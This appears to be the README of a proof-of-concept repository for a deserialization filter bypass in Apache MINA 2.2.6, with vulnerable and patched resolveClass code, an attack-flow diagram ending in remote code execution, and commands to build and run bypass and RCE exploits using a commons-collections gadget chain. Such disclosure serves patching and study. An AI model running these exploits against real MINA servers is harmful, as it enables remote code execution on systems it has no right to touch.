// AbstractIoBuffer.java — VULNERABLE (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    Class<?> clazz = desc.forClass();

    if (clazz == null) {
        // BUG: No acceptMatchers check — filter completely bypassed
        return Class.forName(name, false, classLoader);
    } else {
        // Filter only applied here
        for (ClassNameMatcher matcher : acceptMatchers) { ... }
    }
}

// AbstractIoBuffer.java — FIXED (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    String className = desc.getName();

    // Filter applied FIRST, regardless of forClass() result
    if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
        throw new ClassNotFoundException("Class not in accept list " + className);
    }

    Class<?> clazz = desc.forClass();
    // ... safe resolution follows
}

Attacker                                    Vulnerable MINA Server
   |                                              |
   |  1. Craft MINA payload with type-0           |
   |     descriptors for gadget chain classes      |
   |                                              |
   |  2. Send to endpoint using                   |
   |     ObjectSerializationCodecFactory -------->|
   |                                              |
   |          3. readClassDescriptor() reads type-0|
   |             → delegates to super (std Java)   |
   |                                              |
   |          4. resolveClass() sees forClass()==null
   |             → Class.forName() WITHOUT filter  |
   |                                              |
   |          5. Gadget chain fully deserialized   |
   |             → readObject() triggers chain     |
   |             → Runtime.exec() fires            |
   |                                              |
   |                               RCE ACHIEVED   |

# Clone this repo
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779

# Build and run all PoCs
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779

# Run individual PoCs
docker run --rm cve-2026-42779 bypass     # Filter bypass only
docker run --rm cve-2026-42779 crafted    # Crafted payload bypass
docker run --rm cve-2026-42779 rce        # Full RCE

# Drop into a shell to explore
docker run --rm -it cve-2026-42779 shell

# Clone and build the vulnerable version
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q

# Download commons-collections (for RCE PoC)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
  -o commons-collections-3.2.2.jar

# Compile the PoCs
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java

# Run filter bypass PoC
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC

# Run crafted payload PoC
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC

# Run full RCE PoC
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
     RcePoC

make run-all    # Build and run all three PoCs
make run-rce    # Just the RCE PoC